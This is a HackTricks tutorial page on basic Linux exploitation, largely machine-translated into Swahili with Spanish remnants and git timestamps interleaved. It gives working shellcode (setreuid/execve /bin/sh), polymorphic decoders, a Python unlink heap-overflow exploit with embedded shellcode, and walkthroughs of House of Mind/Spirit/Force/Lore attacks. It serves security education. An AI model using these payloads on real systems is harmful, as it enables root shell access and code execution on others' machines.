hacktricks/exploiting/linux-exploiting-basic-esp/README.md

563 lines
32 KiB
Markdown
Raw Normal View History

# Linux Exploiting (Basic) (SPA)
2022-05-01 13:25:53 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-30 10:12:47 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-05-01 13:25:53 +00:00
## **2.SHELLCODE**
Angalia usumbufu wa kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
2022-02-28 09:13:08 +00:00
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; tunafuta eax\
xor ebx, ebx ; ebx = 0 kwa sababu hakuna hoja ya kupitisha\
2022-02-28 09:13:08 +00:00
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
2024-02-11 02:13:58 +00:00
int 0x80 ; Tekeleza syscall
**nasm -f elf assembly.asm** —> Inatreturn .o\
**ld assembly.o -o shellcodeout** —> Inatupa executable iliyoundwa na msimbo wa mkusanyiko na tunaweza kupata opcodes kwa **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Ili kuona kwamba kwa kweli ni shellcode yetu na kupata OpCodes
**Kagua kwamba shellcode inafanya kazi**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
2024-02-11 02:13:58 +00:00
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Ili kuona kwamba wito za mfumo zinafanywa kwa usahihi, inapaswa kukusanywa programu ya hapo awali na wito za mfumo zinapaswa kuonekana katika **strace ./PROGRAMA\_COMPILADO**
Wakati wa kuunda shellcodes, kuna ujanja unaoweza kufanywa. Amri ya kwanza ni jump kwa call. Call inaita msimbo wa asili na pia inaweka EIP kwenye stack. Baada ya amri ya call, tumeweka string ambayo tunahitaji, hivyo kwa EIP hiyo tunaweza kuelekeza kwenye string na pia kuendelea kutekeleza msimbo.
EJ **TRUCO (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
2024-02-11 02:13:58 +00:00
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ kutumia Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Egg Huter:**
Inajumuisha msimbo mdogo unaovinjari kurasa za kumbukumbu zinazohusiana na mchakato kutafuta shellcode iliyohifadhiwa (inatafuta saini yoyote iliyowekwa kwenye shellcode). Inafaida katika hali ambapo kuna nafasi ndogo tu ya kuingiza msimbo.
**Shellcodes polimórficos**
Inajumuisha shells zilizofichwa ambazo zina msimbo mdogo unaozifichua na kuruka kwake, ukitumia hila ya Call-Pop hii itakuwa **mfano wa kufichwa cesar**:
```
global _start
_start:
2024-02-11 02:13:58 +00:00
jmp short magic
init:
2024-02-11 02:13:58 +00:00
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
2024-02-11 02:13:58 +00:00
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
2024-02-11 02:13:58 +00:00
call init
sc:
2024-02-11 02:13:58 +00:00
;Aquí va el shellcode
```
## **5.Métodos complementarios**
**Técnica de Murat**
Katika linux, programu zote zinapangwa kuanzia 0xbfffffff
Kwa kuangalia jinsi stack ya mchakato mpya inavyoundwa katika linux, inaweza kuendelezwa exploit kwa njia ambayo programu itazinduliwa katika mazingira ambayo variable pekee ni shellcode. Anwani hii inaweza kisha kuhesabiwa kama: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
Kwa njia hii, anwani ambapo kuna variable ya mazingira na shellcode inaweza kupatikana kwa urahisi.
Hii inaweza kufanywa kwa sababu kazi ya execle inaruhusu kuunda mazingira ambayo yana tu variables za mazingira zinazohitajika.
###
### **Format Strings to Buffer Overflows**
The **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\
For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow.
### **\_\_atexit Structures**
{% hint style="danger" %}
Siku hizi ni **ajabu sana kutumia hii**.
{% endhint %}
**`atexit()`** ni kazi ambayo **kazi nyingine zinapewa kama vigezo.** Hizi **kazi** zita **tekelezwa** wakati wa kutekeleza **`exit()`** au **kurudi** kwa **main**.\
Ikiwa unaweza **kubadilisha** **anwani** ya yoyote ya hizi **kazi** ili kuelekeza kwa shellcode kwa mfano, utapata **udhibiti** wa **mchakato**, lakini hii kwa sasa ni ngumu zaidi.\
Kwa sasa, **anwani za kazi** zitakazotekelezwa zime **fichwa** nyuma ya muundo kadhaa na hatimaye anwani ambayo inaelekeza si anwani za kazi, bali zime **sifishwa kwa XOR** na displacement na **funguo za nasibu**. Hivyo kwa sasa, vector hii ya shambulio si **ya manufaa sana angalau kwenye x86** na **x64\_86**.\
Kazi ya **sifisho** ni **`PTR_MANGLE`**. **Mifumo mingine** kama m68k, mips32, mips64, aarch64, arm, hppa... **hazitekelezi kazi ya sifisho** kwa sababu inarudisha **kile kile** ilichopokea kama ingizo. Hivyo mifumo hii ingekuwa na uwezo wa kushambuliwa kupitia vector hii.
2022-05-01 13:25:53 +00:00
### **setjmp() & longjmp()**
{% hint style="danger" %}
Siku hizi ni **ajabu sana kutumia hii**.
{% endhint %}
**`Setjmp()`** inaruhusu **kuhifadhi** **muktadha** (registers)\
2024-02-11 02:13:58 +00:00
**`longjmp()`** inaruhusu **kurudisha** **muktadha**.\
Register zilizohifadhiwa ni: `EBX, ESI, EDI, ESP, EIP, EBP`\
Kinachotokea ni kwamba EIP na ESP vinapita kupitia kazi ya **`PTR_MANGLE`**, hivyo **mifumo iliyo hatarini kwa shambulio hili ni ile ile ya hapo juu**.\
Zinatumika kwa urejeleaji wa makosa au kukatizwa.\
Hata hivyo, kutokana na kile nilichosoma, register nyingine hazijalindwa, **hivyo ikiwa kuna `call ebx`, `call esi` au `call edi`** ndani ya kazi inayoitwa, udhibiti unaweza kuchukuliwa. Au unaweza pia kubadilisha EBP ili kubadilisha ESP.
2024-02-11 02:13:58 +00:00
**VTable na VPTR katika C++**
Kila darasa lina **Vtable** ambayo ni array ya **pointers to methods**.
Kila kitu cha **darasa** kina **VPtr** ambayo ni **pointer** kwa array ya darasa lake. VPtr ni sehemu ya kichwa cha kila kitu, hivyo ikiwa **kuandika upya** VPtr kunafanikiwa inaweza **kubadilishwa** ili **ielekeze** kwa njia ya dummy ili kutekeleza kazi kutakuwa na shellcode.
## **Medidas preventivas y evasiones**
###
**Reemplazo de Libsafe**
Inawashwa kwa: LD\_PRELOAD=/lib/libsafe.so.2\
au\
“/lib/libsave.so.2” > /etc/ld.so.preload
Inakabili simu za baadhi ya kazi zisizo salama kwa nyingine salama. Haijapangwa. (ni kwa x86 tu, si kwa makusanyo yenye -fomit-frame-pointer, si makusanyo ya kudumu, si kazi zote hatarishi zinakuwa salama na LD\_PRELOAD haifanyi kazi kwenye binaries zenye suid).
**ASCII Armored Address Space**
Inajumuisha kupakia maktaba za pamoja kutoka 0x00000000 hadi 0x00ffffff ili kila wakati kuwe na byte 0x00. Hata hivyo, hii kwa kweli haizuizi mashambulizi yoyote, na hasa katika little endian.
**ret2plt**
Inajumuisha kufanya ROP kwa njia ambayo inaita kazi strcpy@plt (kutoka plt) na kuelekeza kwenye ingizo la GOT na kunakili byte ya kwanza ya kazi ambayo inataka kuitwa (system()). Kisha inafanywa vivyo hivyo ikielekeza kwenye GOT+1 na kunakili byte ya 2 ya system()… Mwishowe inaita anwani iliyohifadhiwa katika GOT ambayo itakuwa system()
**Jaulas con chroot()**
debootstrap -arch=i386 hardy /home/user —> Inasakinisha mfumo wa msingi chini ya subdirectory maalum
Msimamizi anaweza kutoka kwenye moja ya jaula hizi kwa kufanya: mkdir foo; chroot foo; cd ..
**Instrumentación de código**
Valgrind —> Inatafuta makosa\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits básicos**
**Trozo asignado**
prev\_size |\
size | —Cabecera\
\*mem | Datos
**Trozo libre**
prev\_size |\
size |\
\*fd | Ptr forward chunk\
\*bk | Ptr back chunk —Cabecera\
\*mem | Datos
Vipande vya bure viko kwenye orodha ya kuunganishwa mara mbili (bin) na haviwezi kuwa na vipande viwili vya bure pamoja (vinajumuika)
Katika “size” kuna bits za kuonyesha: Ikiwa kipande cha awali kinatumika, ikiwa kipande kimepewa kupitia mmap() na ikiwa kipande kinahusiana na arena ya msingi.
Ikiwa wakati wa kuachilia kipande chochote kati ya vile vilivyo karibu kinapatikana bure, vinajumuika kupitia macro unlink() na kipande kipya kikubwa zaidi kinapelekwa frontlink() ili kiingize bin inayofaa.
unlink(){\
BK = P->bk; —> BK ya kipande kipya ni ile ambayo ilikuwa na ile iliyokuwa bure kabla\
FD = P->fd; —> FD ya kipande kipya ni ile ambayo ilikuwa na ile iliyokuwa bure kabla\
FD->bk = BK; —> BK ya kipande kinachofuata inaelekeza kwa kipande kipya\
BK->fd = FD; —> FD ya kipande cha awali inaelekeza kwa kipande kipya\
}
Hivyo ikiwa tunafanikiwa kubadilisha P->bk kwa anwani ya shellcode na P->fd kwa anwani ya ingizo katika GOT au DTORS - 12, inafanikiwa:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Na hivyo shellcode inatekelezwa wakati wa kutoka kwenye programu.
Zaidi ya hayo, sentensi ya 4 ya unlink() inaandika kitu na shellcode inapaswa kuwa na marekebisho kwa hili:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Hii inasababisha kuandika bytes 4 kuanzia byte ya 8 ya shellcode, hivyo amri ya kwanza ya shellcode inapaswa kuwa jmp ili kuondoa hii na kuanguka kwenye nops ambazo zinaelekea kwenye sehemu nyingine ya shellcode.
Hivyo exploit inaundwa:
Katika buffer1 tunatia shellcode ikianza na jmp ili kuanguka kwenye nops au kwenye sehemu nyingine ya shellcode.
Baada ya shell code tunatia kujaza hadi kufikia uwanja prev\_size na size ya kipande kinachofuata. Katika maeneo haya tunatia 0xfffffff0 (ili kuandika upya prev\_size ili iwe na bit inayosema kuwa iko bure) na “-4“(0xfffffffc) katika size (ili wakati itakapokagua katika kipande cha 3 ikiwa kipande cha 2 kilikuwa bure kwa kweli kiende kwenye prev\_size iliyobadilishwa ambayo itamwambia kuwa kiko bure) -> Hivyo wakati free() itakapochunguza itakwenda kwenye size ya 3 lakini kwa kweli itakwenda kwenye 2 - 4 na kufikiri kuwa kipande cha 2 kiko bure. Na kisha itaita **unlink()**.
Wakati wa kuita unlink() itatumia kama P->fd data za kwanza za kipande cha 2 hivyo hapo kutakuwa na anwani unayotaka kuandika - 12 (kwa sababu katika FD->bk itazidisha 12 kwa anwani iliyohifadhiwa katika FD). Na katika anwani hiyo itatia anwani ya pili ambayo itakutana katika kipande cha 2, ambayo tunataka iwe anwani ya shellcode (P->bk bandia).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando en sentido inverso (wargame)**
Tunadhibiti vipande 3 vya mfululizo na vinachiliwa kwa mpangilio wa kinyume na ulivyoagizwa.
Katika kesi hiyo:
Katika kipande c tunatia shellcode
Kipande a tunakitumia kuandika upya b kwa njia ambayo size ina bit PREV\_INUSE iliyozimwa ili kufikiri kuwa kipande a kiko bure.
Zaidi ya hayo, tunandika kwenye kichwa b size ili iwe -4.
Hivyo, programu itafikiri kuwa “a” iko bure na katika bin, hivyo itaita unlink() ili kuondoa. Hata hivyo, kama kichwa cha PREV\_SIZE kina thamani -4. Itafikiri kuwa kipande cha “a” kwa kweli kinaanza katika b+4. Yaani, itafanya unlink() kwa kipande kinachoanza katika b+4, hivyo katika b+12 kutakuwa na pointer “fd” na katika b+16 kutakuwa na pointer “bk”.
Kwa njia hii, ikiwa katika bk tunatia anwani ya shellcode na katika fd tunatia anwani ya kazi “puts()”-12 tuna payload yetu.
**Técnica de Frontlink**
Inaitwa frontlink wakati kitu kinacholewa na hakuna kipande chake kilichokaribu ambacho hakiko bure, hakuitwi unlink() bali inaitwa moja kwa moja frontlink().
Uthibitisho wa manufaa wakati malloc inayoshambuliwa kamwe haiachiliwi (free()).
2024-02-11 02:13:58 +00:00
Inahitaji:
Buffer ambayo inaweza kuzidi uwezo wa kuingia data
Buffer inayokaribu na hii ambayo inapaswa kuachiliwa na ambayo itabadilishwa uwanja wa fd wa kichwa chake kwa sababu ya kujaa kwa buffer ya awali
Buffer ya kuachiliwa yenye ukubwa mkubwa zaidi ya 512 lakini mdogo kuliko buffer ya awali
Buffer iliyotangulia hatua ya 3 ambayo inaruhusu kuandika upya prev\_size ya hii
Kwa njia hii, kwa kuandika upya katika mallocs mbili kwa njia isiyo ya kudhibitiwa na katika moja kwa njia ya kudhibitiwa lakini ambayo inachiliwa tu hiyo moja, tunaweza kufanya exploit.
**Vulnerabilidad double free()**
Ikiwa free() inaitwa mara mbili kwa pointer ile ile, kuna bins mbili zinazoelekeza kwenye anwani ile ile.
Katika kesi ya kutaka kutumia moja, itapewa bila shida. Katika kesi ya kutaka kutumia nyingine, itapewa nafasi ile ile hivyo tutakuwa na pointers “fd” na “bk” zilizopotoshwa na data ambazo zitaandikwa na uhifadhi wa awali.
**After free()**
Pointer iliyokuwa imeachiliwa awali inatumika tena bila udhibiti.
## **8 Heap Overflows: Exploits avanzados**
Mbinu za Unlink() na FrontLink() ziliondolewa kwa kubadilisha kazi ya unlink().
**The house of mind**
Ni muhimu kuwa na simu moja ya free() ili kusababisha utekelezaji wa msimbo wa kawaida. Inahitajika kutafuta kipande cha pili ambacho kinaweza kuzidiwa na kipande cha awali na kuachiliwa.
Simu moja ya free() inasababisha kuita public\_fREe(mem), hii inafanya:
mstate ar\_ptr;
mchunkptr p;
p = mem2chunk(mes); —> Inarudisha pointer kwa anwani ambapo kipande kinaanza (mem-8)
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
\_int\_free(ar\_ptr, mem);
}
Katika \[1] inakagua uwanja wa size bit NON\_MAIN\_ARENA, ambayo inaweza kubadilishwa ili kuifanya ukaguzi urudishe kweli na kutekeleze heap\_for\_ptr() ambayo inafanya and kwa “mem” ikiacha 0 bytes 2.5 zisizo muhimu (katika kesi yetu kutoka 0x0804a000 inabaki 0x08000000) na inafikia 0x08000000->ar\_ptr (kama vile ni struct heap\_info)
Kwa njia hii ikiwa tunaweza kudhibiti kipande kwa mfano katika 0x0804a000 na kuna kipande kitakachochiliwa katika **0x081002a0** tunaweza kufikia anwani 0x08100000 na kuandika chochote tunachotaka, kwa mfano **0x0804a000**. Wakati kipande hiki cha pili kitakapochiliwa kitakuta kuwa heap\_for\_ptr(ptr)->ar\_ptr inarudisha kile tulichoandika katika 0x08100000 (kwa sababu inatumika kwa 0x081002a0 and ambayo tuliona hapo awali na kutoka hapo inachukuliwa thamani ya bytes 4 za kwanza, ar\_ptr)
Kwa njia hii inaitwa \_int\_free(ar\_ptr, mem), yaani, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Kama tulivyoona hapo awali tunaweza kudhibiti thamani ya av, kwani ni kile tunachoandika katika kipande kitakachochiliwa.
Kama inavyofafanuliwa unsorted\_chunks, tunajua kwamba:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Hivyo ikiwa katika av->bins\[2] tunatia thamani ya \_\_DTOR\_END\_\_-12 katika amri ya mwisho itandikwa katika \_\_DTOR\_END\_\_ anwani ya kipande cha pili.
Yaani, katika kipande cha kwanza tunapaswa kuweka mara nyingi anwani ya \_\_DTOR\_END\_\_-12 kwa sababu hapo ndipo itachukuliwa na av->bins\[2]
Katika anwani ambayo itakuwa anwani ya kipande cha pili na sifuri tano za mwisho tunapaswa kuandika anwani ya kipande hiki cha kwanza ili heap\_for\_ptr() ifikirie kuwa ar\_ptr iko mwanzo wa kipande cha kwanza na kuchukua kutoka hapo av->bins\[2]
Katika kipande cha pili na shukrani kwa kipande cha kwanza tunandika upya prev\_size kwa jump 0x0c na size kwa kitu ili kuamsha -> NON\_MAIN\_ARENA
Kisha katika kipande cha 2 tunatia nops nyingi na hatimaye shellcode
Kwa njia hii itaitwa \_int\_free(TROZO1, TROZO2) na itafuata maagizo ya kuandika katika \_\_DTOR\_END\_\_ anwani ya prev\_size ya TROZO2 ambayo itaruka kwenye shellcode.
Ili kutumia mbinu hii inahitajika kutimizwa baadhi ya mahitaji zaidi ambayo yanakifanya payload kuwa ngumu zaidi.
Mbinu hii haiwezi kutumika tena kwani ilifanywa karibu na patch ile ile kama kwa unlink. Inalinganishwa ikiwa eneo jipya ambalo linaelekezwa pia linaelekeza kwake.
**Fastbin**
Ni toleo la The house of mind
Tunataka kufikia kutekeleza msimbo ufuatao ambao unafikiwa baada ya ukaguzi wa kwanza wa kazi \_int\_free()
2024-02-11 02:13:58 +00:00
fb = &(av->fastbins\[fastbin\_index(size)] —> Ikiwa fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Kwa njia hii ikiwa tunatia katika “fb” inatoa anwani ya kazi katika GOT, katika anwani hii itatia anwani ya kipande kilichosababisha. Ili kufanya hivyo itahitajika kuwa arena iko karibu na anwani za dtors. Kwa usahihi av->max\_fast iwe katika anwani ambayo tutakuwa tukisababisha.
Kwa kuwa na The House of Mind tuliona kwamba sisi tunadhibiti nafasi ya av.
Hivyo ikiwa katika uwanja wa size tunatia ukubwa wa 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() itatreturn fastbins\[-1], ambayo itakuwa inaelekeza kwa av->max\_fast
Katika kesi hii av->max\_fast itakuwa anwani ambayo itasababisha (siyo ile ambayo inaelekeza, bali hiyo nafasi itakuwa ile ambayo itasababisha).
Zaidi ya hayo, inapaswa kutimizwa kwamba kipande kilichokaribu na kilichochiliwa kinapaswa kuwa kikubwa zaidi ya 8 -> Kwa kuwa tumesema kwamba size ya kipande kilichochiliwa ni 8, katika kipande hiki bandia tunapaswa tu kuweka size kubwa zaidi ya 8 (kama vile shellcode itakuwa katika kipande kilichochiliwa, itabidi kuweka mwanzo jump ambayo itanguka kwenye nops).
Zaidi ya hayo, kipande hicho bandia kinapaswa kuwa kidogo kuliko av->system\_mem. av->system\_mem iko 1848 bytes zaidi.
Kwa sababu ya sifuri za \_DTOR\_END\_ na anwani chache katika GOT, hakuna anwani katika sehemu hizi zinazofaa kuandikwa, hivyo tuone jinsi ya kutumia fastbin kushambulia stack.
Njia nyingine ya shambulio ni kuelekeza **av** kwenye stack.
Ikiwa tunabadilisha size ili iwe 16 badala ya 8 basi: fastbin\_index() itatreturn fastbins\[0] na tunaweza kutumia hii kuandika upya stack.
Ili kufanya hivyo, hakupaswi kuwa na canary au thamani za ajabu kwenye stack, kwa kweli tunapaswa kuwa katika hii: bytes 4 sifuri + EBP + RET
Bytes 4 sifuri zinahitajika ili **av** iwe katika anwani hii na kipengele cha kwanza cha **av** ni mutexe ambayo inapaswa kuwa 0.
**av->max\_fast** itakuwa EBP na itakuwa thamani ambayo itatusaidia kupita vizuizi.
Katika **av->fastbins\[0]** itasababisha na anwani ya **p** na itakuwa RET, hivyo itaruka kwenye shellcode.
Zaidi ya hayo, katika **av->system\_mem** (1484bytes juu ya nafasi kwenye stack) kutakuwa na takataka nyingi ambazo zitaturuhusu kupita ukaguzi unaofanywa.
Zaidi ya hayo, inapaswa kutimizwa kwamba kipande kilichokaribu na kilichochiliwa kinapaswa kuwa kikubwa zaidi ya 8 -> Kwa kuwa tumesema kwamba size ya kipande kilichochiliwa ni 16, katika kipande hiki bandia tunapaswa tu kuweka size kubwa zaidi ya 8 (kama vile shellcode itakuwa katika kipande kilichochiliwa, itabidi kuweka mwanzo jump ambayo itanguka kwenye nops ambazo ziko baada ya uwanja wa size wa kipande bandia jipya).
**The House of Spirit**
Katika kesi hii tunatafuta kuwa na pointer kwa malloc ambayo inaweza kubadilishwa na mshambuliaji (kwa mfano, kwamba pointer iko kwenye stack chini ya overflow inayoweza kutokea kwa variable).
Hivyo, tunaweza kufanya pointer hii kuelekeza popote. Hata hivyo, si kila mahali ni sahihi, ukubwa wa kipande bandia unapaswa kuwa mdogo kuliko av->max\_fast na kwa usahihi sawa na ukubwa unaohitajika katika simu ya baadaye kwa malloc()+8. Kwa hivyo, ikiwa tunajua kwamba baada ya pointer hii hatari inaitwa malloc(40), ukubwa wa kipande bandia unapaswa kuwa sawa na 48.
Ikiwa kwa mfano programu ingeuliza mtumiaji nambari, tunaweza kuingiza 48 na kuelekeza pointer ya malloc inayoweza kubadilishwa kwa bytes nne zinazofuata (ambazo zinaweza kuwa za EBP kwa bahati, hivyo 48 inabaki nyuma, kana kwamba ni kichwa cha size). Zaidi ya hayo, anwani ptr-4+48 inapaswa kutimiza masharti kadhaa (ikiwa katika kesi hii ptr=EBP), yaani, 8 < ptr-4+48 < av->system\_mem.
Ikiwa hii itatimiza, wakati simu inayofuata ambayo tulisema ilikuwa malloc(40) itapewa kama anwani anwani ya EBP. Ikiwa mshambuliaji pia anaweza kudhibiti kile kinachoandikwa katika malloc hii anaweza kuandika upya EBP na EIP kwa anwani anayotaka.
Hii nadhani ni kwa sababu wakati itakapochiliwa free() itakumbuka kwamba katika anwani ambayo inaelekeza kwa EBP ya stack kuna kipande cha ukubwa mzuri kwa malloc() mpya ambayo inataka kuhifadhiwa, hivyo inatoa anwani hiyo.
**The House of Force**
2024-02-11 02:13:58 +00:00
Inahitajika:
* Overflow kwa kipande kinachoruhusu kuandika upya wilderness
* Kuita malloc() kwa ukubwa ulioainishwa na mtumiaji
* Kuita malloc() ambayo data zake zinaweza kuamuliwa na mtumiaji
Kitu cha kwanza kinachofanywa ni kuandika upya size ya kipande wilderness kwa thamani kubwa sana (0xffffffff), hivyo ombi lolote la kumbukumbu kubwa ya kutosha litashughulikiwa katika \_int\_malloc() bila haja ya kupanua heap
Kitu cha pili ni kubadilisha av->top ili ielekeze kwenye eneo la kumbukumbu chini ya udhibiti wa mshambuliaji, kama vile stack. Katika av->top itatia \&EIP - 8.
Tunapaswa kuandika upya av->top ili ielekeze kwenye eneo la kumbukumbu chini ya udhibiti wa mshambuliaji:
victim = av->top;
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim inachukua thamani ya anwani ya kipande cha sasa cha wilderness (av->top ya sasa) na remainder ni jumla ya anwani hiyo na idadi ya bytes zinazohitajika na malloc(). Hivyo ikiwa \&EIP-8 iko katika 0xbffff224 na av->top ina 0x080c2788, basi kiasi tunachohitaji kuhifadhi katika malloc inayoweza kudhibitiwa ili av->top iwe inaelekeza kwenye $EIP-8 kwa malloc inayofuata itakuwa:
0xbffff224 - 0x080c2788 = 3086207644.
Hivyo av->top itahifadhi thamani iliyobadilishwa na malloc inayofuata itakuwa inaelekeza kwenye EIP na inaweza kuandika upya.
Ni muhimu kujua kwamba size ya kipande kipya cha wilderness ni kubwa zaidi kuliko ombi lililofanywa na malloc ya mwisho. Yaani, ikiwa wilderness inaelekeza kwa \&EIP-8, size itakuwa tu katika uwanja wa EBP wa stack.
**The House of Lore**
**Corrupción SmallBin**
Vipande vilivyokuwa vimeachiliwa vinatolewa kwenye bin kulingana na ukubwa wao. Lakini kabla ya kuingizwa huwekwa katika unsorted bins. Kipande kinapokuwa kimeachiliwa hakijatiwa mara moja kwenye bin yake bali kinabaki katika unsorted bins. Kisha, ikiwa kipande kipya kinahifadhiwa na kipande cha awali kilichokuwa kimeachiliwa kinaweza kutumika, kinarejeshwa, lakini ikiwa kinahifadhiwa kikubwa zaidi, kipande kilichokuwa kimeachiliwa katika unsorted bins kinatiwa kwenye bin yake inayofaa.
Ili kufikia msimbo hatari ombi la kumbukumbu linapaswa kuwa kubwa zaidi ya av->max\_fast (72 kwa kawaida) na chini ya MIN\_LARGE\_SIZE (512).
Ikiwa katika bin kuna kipande cha ukubwa unaofaa kwa kile kinachohitajika kinarejeshwa baada ya kuondolewa:
bck = victim->bk; Inaelekeza kwenye kipande cha awali, ni taarifa pekee ambayo tunaweza kubadilisha.
bin->bk = bck; Kipande cha pili cha mwisho kinakuwa cha mwisho, ikiwa bck inaelekeza kwenye stack kipande kinachofuata kinachohifadhiwa kitapewa anwani hii
bck->fd = bin; Inafunga orodha ikifanya hii kuelekeza kwa bin
Inahitaji:
Kuhifadhi malloc mbili, kwa njia ambayo kipande cha kwanza kinaweza kuzidiwa baada ya kipande cha pili kuachiliwa na kuingizwa kwenye bin yake (yaani, kuhifadhi malloc kubwa zaidi kuliko kipande cha pili kabla ya kufanya overflow)
Kuhifadhi malloc ambayo inapata anwani iliyochaguliwa na mshambuliaji inapaswa kudhibitiwa na mshambuliaji.
